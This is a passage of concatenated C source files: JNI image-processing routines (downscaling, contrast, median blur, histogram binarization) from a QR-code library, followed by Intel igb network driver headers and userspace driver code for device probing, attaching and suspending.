enable debug log traces. */ #define DEBUG 0 static void downscale(unsigned char* src, int width, int height, unsigned char* dst) { int w = (width >> 1); int h = (height >> 1); for (int y = 0; y < h; y++) { for (int x = 0; x < w; x++) { dst[y * w + x] = (unsigned char) ((src[(y * width << 1) + (x << 1)] + src[((y << 1) + 1) * width + (x << 1)] + src[((y << 1) + 1) * width + (x << 1) + 1] + src[(y * width << 1) + (x << 1) + 1]) >> 2); } } } static void increase_contrast(unsigned char* data, int width, int height) { int anzpixel= width * height; int* histogram = (int*)malloc(sizeof(int) * 256); // build a Lookup table LUT containing scale factor float* lut = (float*)malloc(sizeof(float) * 256); memset(histogram, 0, sizeof(int) * 256); //read pixel intensities into histogram for (int x = 1; x < width; x++) { for (int y = 1; y < height; y++) { int valueBefore = data[y * width + x] & 0xff; histogram[valueBefore]++; } } int sum =0; for (int i = 0; i < 255; i++) { sum += histogram[i]; lut[i] = sum * 255 / anzpixel; } // transform image using sum histogram as a Lookup table for (int x = 1; x < width; x++) { for (int y = 1; y < height; y++) { unsigned char valueBefore = data[y * width + x]; unsigned char valueAfter= (unsigned char) lut[valueBefore & 0xff]; data[y * width + x] = valueAfter; } } free(histogram); free(lut); } JNIEXPORT jbyteArray JNICALL Java_com_google_zxing_NativeLib_downscaleByHalf( JNIEnv * env, jobject thiz, jbyteArray src, jint width, jint height) { jbyte* srcBuffer = (*env)->GetByteArrayElements(env, src, NULL); jint size = (width >> 1) * (height >> 1); jbyteArray dst = (*env)->NewByteArray(env, size); jbyte* dstBuffer = (*env)->GetByteArrayElements(env, dst, NULL); downscale(srcBuffer, width, height, dstBuffer); (*env)->ReleaseByteArrayElements(env, src, srcBuffer, 0); (*env)->ReleaseByteArrayElements(env, dst, dstBuffer, 0); return dst; } JNIEXPORT void JNICALL Java_com_google_zxing_NativeLib_increaseContrast( JNIEnv * env, jobject thiz, jbyteArray src, jint width, jint height) { jbyte* srcBuffer = (*env)->GetByteArrayElements(env, src, NULL); increase_contrast(srcBuffer, width, height); (*env)->SetByteArrayRegion(env, src, 0, width * height, srcBuffer); (*env)->ReleaseByteArrayElements(env, src, srcBuffer, 0); } /************************************************************* * HybridBinarizer *************************************************************/ JNIEXPORT jobjectArray JNICALL Java_com_google_zxing_NativeLib_calculateBlackPoints( JNIEnv * env, jobject thiz, jbyteArray src, jint subWidth, jint subHeight, jint width, jint height) { jbyte* luminance = (*env)->GetByteArrayElements(env, src, NULL); int** blackpoints = calculateBlackPoints(luminance, subWidth, subHeight, width, height); (*env)->ReleaseByteArrayElements(env, src, luminance, 0); // Get the int array class jclass intArrayClass = (*env)->FindClass(env, "[I"); // Check if we properly got the int array class if (intArrayClass == NULL) { // Ooops return NULL; } // Create the returnable 2D array jobjectArray returnable2DArray = (*env)->NewObjectArray(env, (jsize) subHeight, intArrayClass, NULL); // Go through the first dimension and add the second dimension arrays for (unsigned int i = 0; i < subHeight; i++) { jintArray intArray = (*env)->NewIntArray(env, subWidth); (*env)->SetIntArrayRegion(env, intArray, (jsize) 0, (jsize) subWidth, (jint*) blackpoints[i]); (*env)->SetObjectArrayElement(env, returnable2DArray, (jsize) i, intArray); (*env)->DeleteLocalRef(env, intArray); free(blackpoints[i]); } free(blackpoints); // Return a Java consumable 2D int array return returnable2DArray; } JNIEXPORT void JNICALL Java_com_google_zxing_NativeLib_calculateThresholdForBlock( JNIEnv * env, jobject thiz, jbyteArray src, jint subWidth, jint subHeight, jint width, jint height, jfloat scaleFactor, jintArray matrix) { jbyte* luminance = (*env)->GetByteArrayElements(env, src, NULL); jint* matrixBits = (*env)->GetIntArrayElements(env, matrix, NULL); jsize bitsLength = (*env)->GetArrayLength(env, matrix); calculateThresholdForBlock(luminance, subWidth, subHeight, width, height, scaleFactor, matrixBits); (*env)->SetIntArrayRegion(env, matrix, 0, bitsLength, matrixBits); (*env)->ReleaseIntArrayElements(env, matrix, matrixBits, 0); (*env)->ReleaseByteArrayElements(env, src, luminance, 0); } JNIEXPORT void JNICALL Java_com_google_zxing_NativeLib_globalHistogramThreshold( JNIEnv * env, jobject thiz, jbyteArray src, jint width, jint height, jintArray matrix) { jbyte* luminance = (*env)->GetByteArrayElements(env, src, NULL); jint* matrixBits = (*env)->GetIntArrayElements(env, matrix, NULL); jsize bitsLength = (*env)->GetArrayLength(env, matrix); globalHistogramThreshold(luminance, width, height, matrixBits); (*env)->SetIntArrayRegion(env, matrix, 0, bitsLength, matrixBits); (*env)->ReleaseIntArrayElements(env, matrix, matrixBits, 0); (*env)->ReleaseByteArrayElements(env, src, luminance, 0); } JNIEXPORT void JNICALL Java_com_google_zxing_NativeLib_medianBlur( JNIEnv * env, jobject thiz, jbyteArray src, jint width, jint height) { jbyte* srcBuffer = (*env)->GetByteArrayElements(env, src, NULL); medianBlur(srcBuffer, width, height); (*env)->SetByteArrayRegion(env, src, 0, width * height, srcBuffer); (*env)->ReleaseByteArrayElements(env, src, srcBuffer, 0); }
teejoe/qrcodeplus
core/src/main/cpp/globalhistogrambinarizer.h
#ifndef GLOBAL_HISTOGRAM_BINARIZER_H #define GLOBAL_HISTOGRAM_BINARIZER_H void globalHistogramThreshold(unsigned char* luminance, int width, int height, int* bitMatrix); #endif
teejoe/qrcodeplus
core/src/main/cpp/denoise.c
/******************** * author: teejoe * 2017-12-05 */ #define MASK_SIZE 3 #define HALF_MASK_SIZE (MASK_SIZE >> 1) void quick_sort(unsigned char* data, int start, int end); void medianBlur(unsigned char* src, int width, int height) { unsigned char* dst = malloc(sizeof(unsigned char) * width * height); int minX, minY, maxX, maxY; int maskArea; int temp; unsigned char* maskData = malloc(sizeof(unsigned char) * MASK_SIZE * MASK_SIZE); for (int y = 0; y < height; y++) { for (int x = 0; x < width; x++) { minX = x - HALF_MASK_SIZE; minY = y - HALF_MASK_SIZE; maxX = x + HALF_MASK_SIZE; maxY = y + HALF_MASK_SIZE; minX = (minX < 0)? 0: minX; minY = (minY < 0)? 0: minY; maxX = (maxX >= width)? (width - 1): maxX; maxY = (maxY >= height)? (height - 1): maxY; // get masked data. int index = 0; for (int i = minX; i <= maxX; i++) { for (int j = minY; j <= maxY; j++) { maskData[index++] = src[j * width + i]; } } // sort. (mask size is very small, bubble sort is good enough.) maskArea = (maxX - minX + 1) * (maxY - minY + 1); for (int i = maskArea - 1; i > 0; i--) { for (int j = 0; j < i; j++) { if (maskData[j] > maskData[j + 1]) { temp = maskData[j]; maskData[j] = maskData[j + 1]; maskData[j + 1] = temp; } } } //quick_sort(maskData, 0, maskArea - 1); // get median value. dst[y * width + x] = maskData[maskArea >> 1]; } } memcpy(src, dst, sizeof(unsigned char) * width * height); free(dst); free(maskData); } void quick_sort(unsigned char* list, int low, int high) { if (low >= high) return; int pivot = (low + high) / 2; // swap pivot and high. unsigned char temp = list[pivot]; list[pivot] = list[high]; list[high] = temp; int small = low - 1; for (int index = low; index < high; index++) { if (list[index] < list[high]) { small++; temp = list[small]; list[small] = list[index]; list[index] = temp; } } small++; temp = list[small]; list[small] = list[high]; list[high] = temp; quick_sort(list, low, small - 1); quick_sort(list, small + 1, high); }
teejoe/qrcodeplus
core/src/main/cpp/globalhistogrambinarizer.c
/******************** * author: teejoe * 2017-12-04 */ #include <stdlib.h> #define LUMINANCE_BITS 5 #define LUMINANCE_SHIFT (8 - LUMINANCE_BITS) #define LUMINANCE_BUCKETS (1 << LUMINANCE_BITS) int estimateBlackPoint(int* buckets, int length) { // Find the tallest peak in the histogram. int numBuckets = length; int maxBucketCount = 0; int firstPeak = 0; int firstPeakSize = 0; for (int x = 0; x < numBuckets; x++) { if (buckets[x] > firstPeakSize) { firstPeak = x; firstPeakSize = buckets[x]; } if (buckets[x] > maxBucketCount) { maxBucketCount = buckets[x]; } } // Find the second-tallest peak which is somewhat far from the tallest peak. int secondPeak = 0; int secondPeakScore = 0; for (int x = 0; x < numBuckets; x++) { int distanceToBiggest = x - firstPeak; // Encourage more distant second peaks by multiplying by square of distance. int score = buckets[x] * distanceToBiggest * distanceToBiggest; if (score > secondPeakScore) { secondPeak = x; secondPeakScore = score; } } // Make sure firstPeak corresponds to the black peak. if (firstPeak > secondPeak) { int temp = firstPeak; firstPeak = secondPeak; secondPeak = temp; } // If there is too little contrast in the image to pick a meaningful black point, throw rather // than waste time trying to decode the image, and risk false positives. if (secondPeak - firstPeak <= numBuckets / 16) { //throw LowContrastException.getLowContrastInstance(); } // Find a valley between them that is low and closer to the white peak. int bestValley = secondPeak - 1; int bestValleyScore = -1; for (int x = secondPeak - 1; x > firstPeak; x--) { int fromFirst = x - firstPeak; int score = fromFirst * fromFirst * (secondPeak - x) * (maxBucketCount - buckets[x]); if (score > bestValleyScore) { bestValley = x; bestValleyScore = score; } } return bestValley << LUMINANCE_SHIFT; } void globalHistogramThreshold(unsigned char* luminance, int width, int height, int* bitMatrix) { int* buckets = malloc(sizeof(int) * LUMINANCE_BUCKETS); memset(buckets, 0, sizeof(int) * LUMINANCE_BUCKETS); // Quickly calculates the histogram by sampling four rows from the image. This proved to be // more robust on the blackbox tests than sampling a diagonal as we used to do. for (int y = 1; y < 5; y++) { int row = height * y / 5; //byte[] localLuminances = source.getRow(row, luminances); int right = (width * 4) / 5; int offset = row * width; for (int x = width / 5; x < right; x++) { int pixel = luminance[offset + x] & 0xff; buckets[pixel >> LUMINANCE_SHIFT]++; } } int blackPoint = estimateBlackPoint(buckets, LUMINANCE_BUCKETS); // We delay reading the entire image luminance until the black point estimation succeeds. // Although we end up reading four rows twice, it is consistent with our motto of // "fail quickly" which is necessary for continuous scanning. int rowSize = (width + 31) / 32; for (int y = 0; y < height; y++) { int offset = y * width; for (int x = 0; x < width; x++) { int pixel = luminance[offset + x] & 0xff; if (pixel < blackPoint) { //matrix.set(x, y); bitMatrix[y * rowSize + (x / 32)] |= 1 << (x & 0x1f); } } } free(buckets); }
avinash-palleti/libigb
e1000_osdep.h
<filename>e1000_osdep.h<gh_stars>0 /****************************************************************************** Copyright (c) 2001-2016, Intel Corporation All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ******************************************************************************/ #ifndef _OSDEP_H_ #define _OSDEP_H_ /* generic boolean compatibility */ #undef TRUE #undef FALSE #define TRUE true #define FALSE false #define _Bool char #ifndef bool #define bool _Bool #define true 1 #define false 0 #endif typedef u_int64_t u64; typedef u_int32_t u32; typedef u_int16_t u16; typedef u_int8_t u8; typedef int64_t s64; typedef int32_t s32; typedef int16_t s16; typedef int8_t s8; #define __le16 u16 #define __le32 u32 #define __le64 u64 #define mb() #define rmb() #define wmb() #define prefetch(x) #define E1000_REGISTER(hw, reg) reg #define E1000_WRITE_FLUSH(a) E1000_READ_REG(a, E1000_STATUS) /* Register READ/WRITE macros */ #define E1000_READ_REG(hw, reg) \ (*(u32 *)(((hw)->hw_addr + reg))) #define E1000_WRITE_REG(hw, reg, value) \ (*(u32 *)(((hw)->hw_addr + reg)) = value) #define E1000_WRITE_REG_ARRAY(hw, reg, index, value) \ E1000_WRITE_REG((hw), (reg) + ((index) << 2), (value)) #endif /* _OSDEP_H_ */
avinash-palleti/libigb
e1000_hw.h
/****************************************************************************** Copyright (c) 2001-2015, Intel Corporation All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ******************************************************************************/ /*$FreeBSD$*/ #ifndef _E1000_HW_H_ #define _E1000_HW_H_ #include "e1000_osdep.h" #include "e1000_regs.h" #include "e1000_defines.h" struct e1000_hw; #define E1000_DEV_ID_82576 0x10C9 #define E1000_DEV_ID_82576_FIBER 0x10E6 #define E1000_DEV_ID_82576_SERDES 0x10E7 #define E1000_DEV_ID_82576_QUAD_COPPER 0x10E8 #define E1000_DEV_ID_82576_QUAD_COPPER_ET2 0x1526 #define E1000_DEV_ID_82576_NS 0x150A #define E1000_DEV_ID_82576_NS_SERDES 0x1518 #define E1000_DEV_ID_82576_SERDES_QUAD 0x150D #define E1000_DEV_ID_82576_VF 0x10CA #define E1000_DEV_ID_I350_VF 0x1520 #define E1000_DEV_ID_82575EB_COPPER 0x10A7 #define E1000_DEV_ID_82575EB_FIBER_SERDES 0x10A9 #define E1000_DEV_ID_82575GB_QUAD_COPPER 0x10D6 #define E1000_DEV_ID_82580_COPPER 0x150E #define E1000_DEV_ID_82580_FIBER 0x150F #define E1000_DEV_ID_82580_SERDES 0x1510 #define E1000_DEV_ID_82580_SGMII 0x1511 #define E1000_DEV_ID_82580_COPPER_DUAL 0x1516 #define E1000_DEV_ID_82580_QUAD_FIBER 0x1527 #define E1000_DEV_ID_I350_COPPER 0x1521 #define E1000_DEV_ID_I350_FIBER 0x1522 #define E1000_DEV_ID_I350_SERDES 0x1523 #define E1000_DEV_ID_I350_SGMII 0x1524 #define E1000_DEV_ID_I350_DA4 0x1546 #define E1000_DEV_ID_I210_COPPER 0x1533 #define E1000_DEV_ID_I210_COPPER_OEM1 0x1534 #define E1000_DEV_ID_I210_COPPER_IT 0x1535 #define E1000_DEV_ID_I210_FIBER 0x1536 #define E1000_DEV_ID_I210_SERDES 0x1537 #define E1000_DEV_ID_I210_SGMII 0x1538 #define E1000_DEV_ID_I210_AUTOMOTIVE 0x15F6 #define E1000_DEV_ID_I210_COPPER_FLASHLESS 0x157B #define E1000_DEV_ID_I210_SERDES_FLASHLESS 0x157C #define E1000_DEV_ID_I211_COPPER 0x1539 #define E1000_DEV_ID_DH89XXCC_SGMII 0x0438 #define E1000_DEV_ID_DH89XXCC_SERDES 0x043A #define E1000_DEV_ID_DH89XXCC_BACKPLANE 0x043C #define E1000_DEV_ID_DH89XXCC_SFP 0x0440 #define E1000_REVISION_0 0 #define E1000_REVISION_1 1 #define E1000_REVISION_2 2 #define E1000_REVISION_3 3 #define E1000_REVISION_4 4 #define E1000_FUNC_0 0 #define E1000_FUNC_1 1 #define E1000_FUNC_2 2 #define E1000_FUNC_3 3 #define E1000_ALT_MAC_ADDRESS_OFFSET_LAN0 0 #define E1000_ALT_MAC_ADDRESS_OFFSET_LAN1 3 #define E1000_ALT_MAC_ADDRESS_OFFSET_LAN2 6 #define E1000_ALT_MAC_ADDRESS_OFFSET_LAN3 9 enum e1000_mac_type { e1000_undefined = 0, e1000_82575, e1000_82576, e1000_82580, e1000_i350, e1000_i210, e1000_i211, e1000_vfadapt, e1000_vfadapt_i350, e1000_num_macs /* List is 1-based, so subtract 1 for TRUE count. */ }; #define __le16 u16 #define __le32 u32 #define __le64 u64 /* Receive Descriptor */ struct e1000_rx_desc { __le64 buffer_addr; /* Address of the descriptor's data buffer */ __le16 length; /* Length of data DMAed into data buffer */ __le16 csum; /* Packet checksum */ u8 status; /* Descriptor status */ u8 errors; /* Descriptor Errors */ __le16 special; }; /* Receive Descriptor - Extended */ union e1000_rx_desc_extended { struct { __le64 buffer_addr; __le64 reserved; } read; struct { struct { __le32 mrq; /* Multiple Rx Queues */ union { __le32 rss; /* RSS Hash */ struct { __le16 ip_id; /* IP id */ __le16 csum; /* Packet Checksum */ } csum_ip; } hi_dword; } lower; struct { __le32 status_error; /* ext status/error */ __le16 length; __le16 vlan; /* VLAN tag */ } upper; } wb; /* writeback */ }; #define MAX_PS_BUFFERS 4 /* Receive Descriptor - Packet Split */ union e1000_rx_desc_packet_split { struct { /* one buffer for protocol header(s), three data buffers */ __le64 buffer_addr[MAX_PS_BUFFERS]; } read; struct { struct { __le32 mrq; /* Multiple Rx Queues */ union { __le32 rss; /* RSS Hash */ struct { __le16 ip_id; /* IP id */ __le16 csum; /* Packet Checksum */ } csum_ip; } hi_dword; } lower; struct { __le32 status_error; /* ext status/error */ __le16 length0; /* length of buffer 0 */ __le16 vlan; /* VLAN tag */ } middle; struct { __le16 header_status; __le16 length[3]; /* length of buffers 1-3 */ } upper; __le64 reserved; } wb; /* writeback */ }; /* Transmit Descriptor */ struct e1000_tx_desc { __le64 buffer_addr; /* Address of the descriptor's data buffer */ union { __le32 data; struct { __le16 length; /* Data buffer length */ u8 cso; /* Checksum offset */ u8 cmd; /* Descriptor control */ } flags; } lower; union { __le32 data; struct { u8 status; /* Descriptor status */ u8 css; /* Checksum start */ __le16 special; } fields; } upper; }; /* Offload Context Descriptor */ struct e1000_context_desc { union { __le32 ip_config; struct { u8 ipcss; /* IP checksum start */ u8 ipcso; /* IP checksum offset */ __le16 ipcse; /* IP checksum end */ } ip_fields; } lower_setup; union { __le32 tcp_config; struct { u8 tucss; /* TCP checksum start */ u8 tucso; /* TCP checksum offset */ __le16 tucse; /* TCP checksum end */ } tcp_fields; } upper_setup; __le32 cmd_and_length; union { __le32 data; struct { u8 status; /* Descriptor status */ u8 hdr_len; /* Header length */ __le16 mss; /* Maximum segment size */ } fields; } tcp_seg_setup; }; /* Offload data descriptor */ struct e1000_data_desc { __le64 buffer_addr; /* Address of the descriptor's buffer address */ union { __le32 data; struct { __le16 length; /* Data buffer length */ u8 typ_len_ext; u8 cmd; } flags; } lower; union { __le32 data; struct { u8 status; /* Descriptor status */ u8 popts; /* Packet Options */ __le16 special; } fields; } upper; }; struct e1000_mac_info { u8 addr[ETH_ADDR_LEN]; u8 perm_addr[ETH_ADDR_LEN]; enum e1000_mac_type type; }; struct e1000_hw { void *back; u8 *hw_addr; struct e1000_mac_info mac; u16 device_id; u16 subsystem_vendor_id; u16 subsystem_device_id; u16 vendor_id; u8 revision_id; }; #endif
avinash-palleti/libigb
igb.c
<filename>igb.c<gh_stars>0 /****************************************************************************** Copyright (c) 2001-2017, Intel Corporation All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ******************************************************************************/ #include <unistd.h> #include <fcntl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <syslog.h> #include <signal.h> #include <errno.h> #include <time.h> #include <sys/ioctl.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/mman.h> #include <sys/user.h> #include <sys/stat.h> #include <stdint.h> #include <semaphore.h> #include <pthread.h> #include "e1000_hw.h" #include "e1000_82575.h" #include "igb_internal.h" #undef DEBUG /********************************************************************* * PCI Device ID Table * * Used by probe to select devices to load on * Last field stores an index into e1000_strings * Last entry must be all 0s * * { Vendor ID, Device ID, SubVendor ID, SubDevice ID, String Index } *********************************************************************/ static igb_vendor_info_t igb_vendor_info_array[] = { { 0x8086, E1000_DEV_ID_I210_COPPER, PCI_ANY_ID, PCI_ANY_ID, 0}, { 0x8086, E1000_DEV_ID_I210_COPPER_FLASHLESS, PCI_ANY_ID, PCI_ANY_ID, 0}, { 0x8086, E1000_DEV_ID_I210_COPPER_IT, PCI_ANY_ID, PCI_ANY_ID, 0}, { 0x8086, E1000_DEV_ID_I210_COPPER_OEM1, PCI_ANY_ID, PCI_ANY_ID, 0}, { 0x8086, E1000_DEV_ID_I210_FIBER, PCI_ANY_ID, PCI_ANY_ID, 0}, { 0x8086, E1000_DEV_ID_I210_SERDES, PCI_ANY_ID, PCI_ANY_ID, 0}, { 0x8086, E1000_DEV_ID_I210_SERDES_FLASHLESS, PCI_ANY_ID, PCI_ANY_ID, 0}, { 0x8086, E1000_DEV_ID_I210_SGMII, PCI_ANY_ID, PCI_ANY_ID, 0}, { 0x8086, E1000_DEV_ID_I210_AUTOMOTIVE, PCI_ANY_ID, PCI_ANY_ID, 0}, /* required last entry */ { 0, 0, 0, 0, 0} }; /********************************************************************* * Function prototypes *********************************************************************/ static int igb_read_mac_addr(struct e1000_hw *hw); static int igb_allocate_pci_resources(struct adapter *adapter); static void igb_free_pci_resources(struct adapter *adapter); static void igb_reset(struct adapter *adapter); static int igb_allocate_queues(struct adapter *adapter); static int igb_allocate_rx_queues(struct adapter *adapter); static void igb_setup_transmit_structures(struct adapter *adapter); static void igb_setup_receive_structures(struct adapter *adapter); static void igb_setup_transmit_ring(struct tx_ring *txr); static void igb_initialize_transmit_units(struct adapter *adapter); static void igb_initialize_receive_units(struct adapter *adapter); static void igb_free_transmit_structures(struct adapter *adapter); static void igb_free_receive_structures(struct adapter *adapter); static void igb_tx_ctx_setup(struct tx_ring *txr, struct igb_packet *packet); static void igb_free_receive_buffers(struct rx_ring *rxr); static int igb_create_lock(struct adapter *adapter); int igb_probe(device_t *dev) { igb_vendor_info_t *ent; if (dev == NULL) return -EINVAL; if (dev->pci_vendor_id != IGB_VENDOR_ID) return -ENXIO; ent = igb_vendor_info_array; while (ent->vendor_id != 0) { if ((dev->pci_vendor_id == ent->vendor_id) && (dev->pci_device_id == ent->device_id)) { return 0; } ent++; } return -ENXIO; } #define IGB_SEM "/igb_sem" int igb_attach(char *dev_path, device_t *pdev) { struct adapter *adapter; struct igb_bind_cmd bind = {0}; int error = 0; bool locked = false; if (pdev == NULL) return -EINVAL; adapter = (struct adapter *)pdev->private_data; if (adapter != NULL) return -EBUSY; /* allocate an adapter */ pdev->private_data = malloc(sizeof(struct adapter)); if (pdev->private_data == NULL) return -ENXIO; memset(pdev->private_data, 0, sizeof(struct adapter)); adapter = (struct adapter *)pdev->private_data; adapter->ldev = open("/dev/igb_avb", O_RDWR); if (adapter->ldev < 0) { error = -ENXIO; goto err_prebind; } if (igb_create_lock(adapter) != 0) { error = -errno; goto err_bind; } adapter->active = 1; if (igb_lock(pdev) != 0) { error = -errno; goto err_bind; } locked = true; /* * dev_path should look something "0000:01:00.0" */ strncpy(bind.iface, dev_path, IGB_BIND_NAMESZ - 1); if (ioctl(adapter->ldev, IGB_BIND, &bind) < 0) { error = -ENXIO; goto err_bind; } adapter->csr.paddr = 0; adapter->csr.mmap_size = bind.mmap_size; /* Determine hardware and mac info */ adapter->hw.vendor_id = pdev->pci_vendor_id; adapter->hw.device_id = pdev->pci_vendor_id; adapter->hw.revision_id = 0; adapter->hw.subsystem_vendor_id = 0; adapter->hw.subsystem_device_id = 0; /* Set MAC type early for PCI setup */ adapter->hw.mac.type = e1000_i210; /* Setup PCI resources */ error = igb_allocate_pci_resources(adapter); if (error) goto err_pci; /* * Set the frame limits assuming * standard ethernet sized frames. */ adapter->max_frame_size = 1518; adapter->min_frame_size = 64; /* * Copy the permanent MAC address out of the EEPROM */ if (igb_read_mac_addr(&adapter->hw) < 0) { error = -EIO; goto err_late; } if (igb_unlock(pdev) != 0) { error = -errno; goto err_gen; } return 0; err_late: err_pci: igb_free_pci_resources(adapter); err_bind: if (locked) (void) igb_unlock(pdev); if (adapter && adapter->memlock) { (void) munmap(adapter->memlock, sizeof(pthread_mutex_t)); adapter->memlock = NULL; } close(adapter->ldev); err_prebind: free(pdev->private_data); pdev->private_data = NULL; err_gen: return error; } int igb_attach_tx(device_t *pdev) { int error; struct adapter *adapter; if (pdev == NULL) return -EINVAL; adapter = (struct adapter *)pdev->private_data; if (adapter == NULL) return -EINVAL; if (igb_lock(pdev) != 0) return -errno; /* Allocate and Setup Queues */ adapter->num_queues = 2; /* XXX parameterize this */ error = igb_allocate_queues(adapter); if (error) { adapter->num_queues = 0; goto release; } /* * Start from a known state, which means * reset the transmit queues we own to a known * starting state. */ igb_reset(adapter); release: if (igb_unlock(pdev) != 0) return -errno; return error; } int igb_attach_rx(device_t *pdev) { int error; struct adapter *adapter; if (pdev == NULL) return -EINVAL; adapter = (struct adapter *)pdev->private_data; if (adapter == NULL) return -EINVAL; if (igb_lock(pdev) != 0) return errno; /* * Allocate and Setup Rx Queues */ adapter->num_queues = 2; /* XXX parameterize this */ error = igb_allocate_rx_queues(adapter); if (error) { adapter->num_queues = 0; goto release; } release: if (igb_unlock(pdev) != 0) return errno; return error; } int igb_detach(device_t *dev) { struct adapter *adapter; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; if (igb_lock(dev) != 0) goto err_nolock; /* * Prevent access to device after calling igb_detach since associated * resources will be freed up from here thus in particular multi-thread * application other thread must not access device if this flag is off. */ adapter->active = 0; igb_reset(adapter); igb_unlock(dev); igb_free_pci_resources(adapter); if (adapter->tx_rings) igb_free_transmit_structures(adapter); if (adapter->rx_rings) igb_free_receive_structures(adapter); err_nolock: if (adapter->memlock) { /* * Do not unmap the shared memory region holding the pthread mutex. * * (void) munmap(adapter->memlock, sizeof(pthread_mutex_t)); * * The pthread mutex is configured as a robust type mutex so that * it can automatically be unlocked on process termination if needed. * In order to complete the cleanup, the memory region holding the * mutex instance must be accessible until that cleanup timing. * Therefore we should not unmap the memory region here, otherwise * the cleanup may fail. * * The mapped regions will automatically be unmapped at the end of * the process termination. */ adapter->memlock = NULL; } close(adapter->ldev); free(dev->private_data); dev->private_data = NULL; return 0; } int igb_suspend(device_t *dev) { struct adapter *adapter; struct tx_ring *txr; struct rx_ring *rxr; struct e1000_hw *hw; u32 txdctl, srrctl = 0; int i; if (dev == NULL) return -EINVAL; adapter = (struct adapter *)dev->private_data; if (adapter == NULL) return -ENXIO; txr = adapter->tx_rings; rxr = adapter->rx_rings; hw = &adapter->hw; txdctl = 0; if (igb_lock(dev) != 0) return errno; /* stop but don't reset the Tx Descriptor Rings */ for (i = 0; i < adapter->num_queues; i++, txr++) { txdctl |= IGB_TX_PTHRESH; txdctl |= IGB_TX_HTHRESH << 8; txdctl |= IGB_TX_WTHRESH << 16; E1000_WRITE_REG(hw, E1000_TXDCTL(i), txdctl); txr->queue_status = IGB_QUEUE_IDLE; } srrctl |= 2048 >> E1000_SRRCTL_BSIZEPKT_SHIFT; srrctl |= E1000_SRRCTL_DESCTYPE_ADV_ONEBUF; for (i = 0; i < adapter->num_queues; i++, rxr++) { u64 bus_addr = rxr->rxdma.paddr; u32 rxdctl; E1000_WRITE_REG(hw, E1000_RDLEN(i), adapter->num_rx_desc * sizeof(union e1000_adv_rx_desc)); E1000_WRITE_REG(hw, E1000_RDBAH(i), (uint32_t)(bus_addr >> 32)); E1000_WRITE_REG(hw, E1000_RDBAL(i), (uint32_t)bus_addr); E1000_WRITE_REG(hw, 